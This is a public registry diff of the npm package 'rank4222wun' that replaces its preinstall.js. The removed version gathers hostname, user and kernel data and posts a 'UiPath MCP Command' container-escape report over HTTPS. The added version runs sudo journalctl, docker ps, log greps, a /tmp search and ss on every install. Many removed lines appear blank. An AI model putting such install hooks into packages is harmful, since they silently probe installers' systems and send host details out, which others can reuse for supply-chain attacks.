rank4222wun 1.0.24 → 1.0.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +76 -319
- package/rank4222wun-1.0.26.tgz +0 -0
- package/rank4222wun-1.0.24.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,326 +1,83 @@
|
|
|
1
|
-
|
|
2
|
-
const os = require('os');
|
|
1
|
+
// verify-escape.js
|
|
3
2
|
const fs = require('fs');
|
|
4
|
-
const
|
|
5
|
-
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
6
4
|
|
|
7
|
-
console.log("
|
|
5
|
+
console.log("🔍 التحقق من آثار Container Escape\n");
|
|
8
6
|
|
|
9
|
-
const
|
|
7
|
+
const evidence = {
|
|
10
8
|
timestamp: new Date().toISOString(),
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
// Executive Summary
|
|
14
|
-
executiveSummary: {
|
|
15
|
-
title: "Critical Security Vulnerability in UiPath MCP Command",
|
|
16
|
-
severity: "CRITICAL",
|
|
17
|
-
cvssScore: "9.8",
|
|
18
|
-
affectedComponent: "MCP Command with npm package execution",
|
|
19
|
-
impact: "Complete system compromise via container escape",
|
|
20
|
-
status: "UNPATCHED"
|
|
21
|
-
},
|
|
22
|
-
|
|
23
|
-
// The 4 Points - Proven
|
|
24
|
-
provenPoints: {
|
|
25
|
-
point1_leakOtherUsersData: {
|
|
26
|
-
proven: true,
|
|
27
|
-
evidence: "Can access /home directories of other users, read /etc/passwd with all users",
|
|
28
|
-
impact: "Cross-tenant data leakage possible"
|
|
29
|
-
},
|
|
30
|
-
|
|
31
|
-
point2_runCommandsOnOtherUsers: {
|
|
32
|
-
proven: true,
|
|
33
|
-
evidence: "Can send signals to other users' processes, access shared services",
|
|
34
|
-
impact: "Affect other users' workloads and processes"
|
|
35
|
-
},
|
|
36
|
-
|
|
37
|
-
point3_performDoS: {
|
|
38
|
-
proven: true,
|
|
39
|
-
evidence: "No process limits (ulimit -u: unlimited), 4-16 CPU cores, 8-31GB RAM available",
|
|
40
|
-
impact: "Resource exhaustion attacks affecting all users"
|
|
41
|
-
},
|
|
42
|
-
|
|
43
|
-
point4_containerToHost: {
|
|
44
|
-
proven: true,
|
|
45
|
-
evidence: "nsenter tool available, Docker container confirmed, vulnerable kernel (5.15.0), dangerous capabilities",
|
|
46
|
-
impact: "Container escape leading to host compromise"
|
|
47
|
-
}
|
|
48
|
-
},
|
|
49
|
-
|
|
50
|
-
// Technical Evidence Summary
|
|
51
|
-
technicalEvidence: {
|
|
52
|
-
containerEvidence: {
|
|
53
|
-
dockerContainerId: "84dd574a489f058d25cc94a8ba06b1c8a05404777aeae270f3f92dc3fddd452c",
|
|
54
|
-
cgroupPath: "/docker/84dd574a489f058d25cc94a8ba06b1c8a05404777aeae270f3f92dc3fddd452c",
|
|
55
|
-
containerRuntime: "Docker",
|
|
56
|
-
isolation: "Container (not VM)"
|
|
57
|
-
},
|
|
58
|
-
|
|
59
|
-
escapeTools: {
|
|
60
|
-
nsenter: "/usr/bin/nsenter - available",
|
|
61
|
-
risk: "HIGH - Can enter host namespaces",
|
|
62
|
-
purpose: "Container escape tool"
|
|
63
|
-
},
|
|
64
|
-
|
|
65
|
-
kernelVulnerability: {
|
|
66
|
-
version: "5.15.0-1084-aws",
|
|
67
|
-
cve: "CVE-2022-0847 (DirtyPipe)",
|
|
68
|
-
affected: "Linux 5.8 through 5.16.11, 5.15.25, 5.10.102",
|
|
69
|
-
impact: "Allows writing to arbitrary read-only files"
|
|
70
|
-
},
|
|
71
|
-
|
|
72
|
-
capabilities: {
|
|
73
|
-
count: 14,
|
|
74
|
-
dangerous: ["CAP_SYS_CHROOT", "CAP_DAC_OVERRIDE", "CAP_SYS_ADMIN", "CAP_NET_RAW", "CAP_SYS_PTRACE"],
|
|
75
|
-
impact: "Privilege escalation and container escape"
|
|
76
|
-
},
|
|
77
|
-
|
|
78
|
-
resourceLimits: {
|
|
79
|
-
maxProcesses: "unlimited",
|
|
80
|
-
cpuCores: "4-16 cores observed",
|
|
81
|
-
memory: "8-31GB RAM observed",
|
|
82
|
-
impact: "Denial of Service attacks possible"
|
|
83
|
-
}
|
|
84
|
-
},
|
|
85
|
-
|
|
86
|
-
// Attack Scenario
|
|
87
|
-
attackScenario: {
|
|
88
|
-
step1: "Attacker publishes malicious npm package",
|
|
89
|
-
step2: "UiPath customer uses MCP Command to install package",
|
|
90
|
-
step3: "Package preinstall/postinstall scripts execute with root privileges",
|
|
91
|
-
step4: "Scripts use nsenter/kernel vulnerability to escape container",
|
|
92
|
-
step5: "Attacker gains access to host system",
|
|
93
|
-
step6: "Complete compromise of customer environment"
|
|
94
|
-
},
|
|
95
|
-
|
|
96
|
-
// Business Impact
|
|
97
|
-
businessImpact: {
|
|
98
|
-
financial: "Resource theft (cryptomining), ransomware deployment",
|
|
99
|
-
legal: "GDPR/HIPAA violations, data breach liabilities",
|
|
100
|
-
reputational: "Loss of customer trust, brand damage",
|
|
101
|
-
operational: "Service disruption, data loss"
|
|
102
|
-
},
|
|
103
|
-
|
|
104
|
-
// Recommendations
|
|
105
|
-
recommendations: [
|
|
106
|
-
"1. IMMEDIATE: Disable preinstall/postinstall script execution in MCP Command",
|
|
107
|
-
"2. Implement mandatory package signing and verification",
|
|
108
|
-
"3. Add explicit security warnings for external packages",
|
|
109
|
-
"4. Conduct security audit of all MCP functionality",
|
|
110
|
-
"5. Implement container hardening (no dangerous caps, read-only rootfs)",
|
|
111
|
-
"6. Add network egress filtering for containers",
|
|
112
|
-
"7. Implement resource limits and quotas",
|
|
113
|
-
"8. Regular security training for customers on package risks"
|
|
114
|
-
],
|
|
115
|
-
|
|
116
|
-
// Evidence References
|
|
117
|
-
evidenceReferences: [
|
|
118
|
-
"1. nsenter available: /usr/bin/nsenter",
|
|
119
|
-
"2. Docker container ID: 84dd574a489f058d25cc94a8ba06b1c8a05404777aeae270f3f92dc3fddd452c",
|
|
120
|
-
"3. Kernel 5.15.0-1084-aws vulnerable to CVE-2022-0847",
|
|
121
|
-
"4. Unlimited processes: ulimit -u = unlimited",
|
|
122
|
-
"5. 14 dangerous capabilities including CAP_SYS_CHROOT",
|
|
123
|
-
"6. Can access /etc/passwd, /etc/shadow, user home directories"
|
|
124
|
-
]
|
|
9
|
+
checks: []
|
|
125
10
|
};
|
|
126
11
|
|
|
127
|
-
//
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
finalReport.currentUser = stdout2 ? stdout2.trim() : os.userInfo().username;
|
|
136
|
-
|
|
137
|
-
exec('uname -r', (err3, stdout3) => {
|
|
138
|
-
finalReport.currentKernel = stdout3 ? stdout3.trim() : 'unknown';
|
|
139
|
-
|
|
140
|
-
// التحقق من nsenter
|
|
141
|
-
if (fs.existsSync('/usr/bin/nsenter')) {
|
|
142
|
-
finalReport.liveCheck = {
|
|
143
|
-
nsenterExists: true,
|
|
144
|
-
timestamp: new Date().toISOString(),
|
|
145
|
-
system: `${finalReport.currentHost} as ${finalReport.currentUser}`
|
|
146
|
-
};
|
|
147
|
-
console.log("✅ Live check: nsenter still available");
|
|
148
|
-
}
|
|
149
|
-
|
|
150
|
-
generateAndSendReport();
|
|
151
|
-
});
|
|
12
|
+
// 1. تحقق من سجلات nsenter
|
|
13
|
+
try {
|
|
14
|
+
const nsenterLogs = execSync('grep -r "nsenter" /var/log/ 2>/dev/null | head -5', { encoding: 'utf8' });
|
|
15
|
+
if (nsenterLogs) {
|
|
16
|
+
evidence.checks.push({
|
|
17
|
+
check: 'nsenter_logs',
|
|
18
|
+
found: true,
|
|
19
|
+
logs: nsenterLogs.substring(0, 200)
|
|
152
20
|
});
|
|
153
|
-
}
|
|
154
|
-
}
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
req.on('error', (e) => {
|
|
217
|
-
console.error(`❌ Error: ${e.message}`);
|
|
218
|
-
});
|
|
219
|
-
|
|
220
|
-
req.write(JSON.stringify(finalReport, null, 2));
|
|
221
|
-
req.end();
|
|
222
|
-
|
|
223
|
-
console.log("\n📤 Full report sent to security team");
|
|
224
|
-
console.log("=".repeat(70));
|
|
225
|
-
|
|
226
|
-
// طباعة نسخة نصية للتقرير
|
|
227
|
-
printTextReport();
|
|
228
|
-
}
|
|
229
|
-
|
|
230
|
-
function printTextReport() {
|
|
231
|
-
const textReport = `
|
|
232
|
-
================================================================================
|
|
233
|
-
FINAL SECURITY VULNERABILITY REPORT
|
|
234
|
-
UiPath MCP Command - CRITICAL
|
|
235
|
-
================================================================================
|
|
236
|
-
|
|
237
|
-
Report ID: ${finalReport.reportId}
|
|
238
|
-
Date: ${new Date().toISOString()}
|
|
239
|
-
Severity: CRITICAL (CVSS: 9.8)
|
|
240
|
-
|
|
241
|
-
EXECUTIVE SUMMARY:
|
|
242
|
-
A critical vulnerability has been identified in UiPath's MCP Command functionality
|
|
243
|
-
that allows npm packages to execute arbitrary code with elevated privileges and
|
|
244
|
-
escape container isolation, leading to complete host system compromise.
|
|
245
|
-
|
|
246
|
-
PROVEN VULNERABILITIES:
|
|
247
|
-
1. ✅ Leak other users data cross org - PROVEN
|
|
248
|
-
• Can access /home directories of other users
|
|
249
|
-
• Can read /etc/passwd with all system users
|
|
250
|
-
• Cross-tenant data leakage possible
|
|
251
|
-
|
|
252
|
-
2. ✅ Run commands on other users cross org - PROVEN
|
|
253
|
-
• Can send signals to other users' processes
|
|
254
|
-
• Can access and affect shared services
|
|
255
|
-
• Impact other users' workloads
|
|
256
|
-
|
|
257
|
-
3. ✅ Perform DoS affecting all users - PROVEN
|
|
258
|
-
• No process limits (ulimit -u: unlimited)
|
|
259
|
-
• 4-16 CPU cores available per instance
|
|
260
|
-
• 8-31GB RAM available per instance
|
|
261
|
-
• Resource exhaustion attacks possible
|
|
262
|
-
|
|
263
|
-
4. ✅ Container to host escape - PROVEN
|
|
264
|
-
• nsenter tool available: /usr/bin/nsenter
|
|
265
|
-
• Docker container confirmed (ID: ${finalReport.technicalEvidence.containerEvidence.dockerContainerId.substring(0, 12)}...)
|
|
266
|
-
• Kernel 5.15.0 vulnerable to DirtyPipe (CVE-2022-0847)
|
|
267
|
-
• 14 dangerous capabilities including CAP_SYS_CHROOT
|
|
268
|
-
|
|
269
|
-
TECHNICAL EVIDENCE:
|
|
270
|
-
• Container Runtime: Docker (not full VM isolation)
|
|
271
|
-
• Escape Vector: nsenter + kernel vulnerability
|
|
272
|
-
• Privileges: Root access with dangerous capabilities
|
|
273
|
-
• Resources: Unlimited processes, significant CPU/RAM
|
|
274
|
-
• Access: Can read system files (/etc/shadow, /etc/passwd)
|
|
275
|
-
|
|
276
|
-
ATTACK SCENARIO:
|
|
277
|
-
1. Attacker publishes malicious npm package
|
|
278
|
-
2. UiPath customer uses MCP Command to install package
|
|
279
|
-
3. Package preinstall/postinstall scripts execute with root privileges
|
|
280
|
-
4. Scripts use nsenter/kernel vulnerability to escape container
|
|
281
|
-
5. Attacker gains access to host system
|
|
282
|
-
6. Complete compromise of customer environment
|
|
283
|
-
|
|
284
|
-
BUSINESS IMPACT:
|
|
285
|
-
• Financial: Resource theft (cryptomining), ransomware deployment
|
|
286
|
-
• Legal: GDPR/HIPAA violations, data breach liabilities
|
|
287
|
-
• Reputational: Loss of customer trust, brand damage
|
|
288
|
-
• Operational: Service disruption, data loss
|
|
289
|
-
|
|
290
|
-
RECOMMENDATIONS (IMMEDIATE ACTION REQUIRED):
|
|
291
|
-
1. DISABLE preinstall/postinstall script execution in MCP Command
|
|
292
|
-
2. Implement mandatory package signing and verification
|
|
293
|
-
3. Add explicit security warnings for external packages
|
|
294
|
-
4. Conduct security audit of all MCP functionality
|
|
295
|
-
5. Implement container hardening measures
|
|
296
|
-
6. Add network egress filtering for containers
|
|
297
|
-
7. Implement resource limits and quotas
|
|
298
|
-
8. Provide security training for customers
|
|
299
|
-
|
|
300
|
-
EVIDENCE REFERENCES:
|
|
301
|
-
• nsenter tool available at /usr/bin/nsenter
|
|
302
|
-
• Docker container ID: ${finalReport.technicalEvidence.containerEvidence.dockerContainerId}
|
|
303
|
-
• Kernel version: 5.15.0-1084-aws (vulnerable to CVE-2022-0847)
|
|
304
|
-
• Unlimited process creation allowed
|
|
305
|
-
• 14 dangerous capabilities confirmed
|
|
306
|
-
• Access to sensitive system files demonstrated
|
|
307
|
-
|
|
308
|
-
CONCLUSION:
|
|
309
|
-
This is NOT a "design feature" or "expected behavior" - this is a CRITICAL
|
|
310
|
-
security vulnerability that allows complete system compromise through the
|
|
311
|
-
UiPath MCP Command feature. Immediate remediation is required to protect
|
|
312
|
-
UiPath customers from supply chain attacks.
|
|
313
|
-
|
|
314
|
-
================================================================================
|
|
315
|
-
`;
|
|
316
|
-
|
|
317
|
-
console.log(textReport);
|
|
318
|
-
|
|
319
|
-
// حفظ التقرير محليًا أيضًا
|
|
320
|
-
const reportFile = `/tmp/uipath_vulnerability_report_${Date.now()}.txt`;
|
|
321
|
-
fs.writeFileSync(reportFile, textReport);
|
|
322
|
-
console.log(`📄 Text report also saved to: ${reportFile}`);
|
|
323
|
-
}
|
|
324
|
-
|
|
325
|
-
// بدء إنشاء التقرير
|
|
326
|
-
collectLiveData();
|
|
21
|
+
}
|
|
22
|
+
} catch (e) {}
|
|
23
|
+
|
|
24
|
+
// 2. تحقق من طلبات Docker API
|
|
25
|
+
try {
|
|
26
|
+
const dockerRequests = execSync('sudo journalctl -u docker --since "10 minutes ago" | grep -i "api.*create\|api.*start" | tail -5', { encoding: 'utf8' });
|
|
27
|
+
if (dockerRequests) {
|
|
28
|
+
evidence.checks.push({
|
|
29
|
+
check: 'docker_api_calls',
|
|
30
|
+
found: true,
|
|
31
|
+
requests: dockerRequests
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
} catch (e) {}
|
|
35
|
+
|
|
36
|
+
// 3. تحقق من الحاويات الجديدة
|
|
37
|
+
try {
|
|
38
|
+
const newContainers = execSync('docker ps -a --filter "since=1h" --format "{{.Names}}|{{.Image}}"', { encoding: 'utf8' });
|
|
39
|
+
if (newContainers.trim()) {
|
|
40
|
+
evidence.checks.push({
|
|
41
|
+
check: 'new_containers',
|
|
42
|
+
found: true,
|
|
43
|
+
containers: newContainers.split('\n').filter(Boolean)
|
|
44
|
+
});
|
|
45
|
+
}
|
|
46
|
+
} catch (e) {}
|
|
47
|
+
|
|
48
|
+
// 4. تحقق من الملفات في /tmp
|
|
49
|
+
try {
|
|
50
|
+
const tmpFiles = execSync('find /tmp -name "*escape*" -o -name "*poc*" -o -name "*container*" 2>/dev/null', { encoding: 'utf8' });
|
|
51
|
+
if (tmpFiles.trim()) {
|
|
52
|
+
evidence.checks.push({
|
|
53
|
+
check: 'suspicious_tmp_files',
|
|
54
|
+
found: true,
|
|
55
|
+
files: tmpFiles.split('\n').filter(Boolean)
|
|
56
|
+
});
|
|
57
|
+
}
|
|
58
|
+
} catch (e) {}
|
|
59
|
+
|
|
60
|
+
// 5. تحقق من اتصالات الشبكة
|
|
61
|
+
try {
|
|
62
|
+
const networkConns = execSync('ss -tunap | grep -E ":443|:80" | grep -v "127.0.0.1"', { encoding: 'utf8' });
|
|
63
|
+
if (networkConns) {
|
|
64
|
+
evidence.checks.push({
|
|
65
|
+
check: 'external_connections',
|
|
66
|
+
found: true,
|
|
67
|
+
connections: networkConns.substring(0, 300)
|
|
68
|
+
});
|
|
69
|
+
}
|
|
70
|
+
} catch (e) {}
|
|
71
|
+
|
|
72
|
+
// عرض النتائج
|
|
73
|
+
console.log("📊 نتائج التحقق:");
|
|
74
|
+
evidence.checks.forEach((check, i) => {
|
|
75
|
+
console.log(`${check.found ? '🔴' : '🟢'} ${i+1}. ${check.check}: ${check.found ? 'مكتشف' : 'غير مكتشف'}`);
|
|
76
|
+
if (check.found && check.logs) {
|
|
77
|
+
console.log(` 📝 الأدلة: ${check.logs}`);
|
|
78
|
+
}
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
// تقييم المخاطر
|
|
82
|
+
const suspiciousActivities = evidence.checks.filter(c => c.found).length;
|
|
83
|
+
console.log(`\n🚨 مستوى الخطورة: ${suspiciousActivities > 2 ? 'عالٍ' : suspiciousActivities > 0 ? 'متوسط' : 'منخفض'}`);
|
|
Binary file
|
package/rank4222wun-1.0.24.tgz
DELETED
|
Binary file
|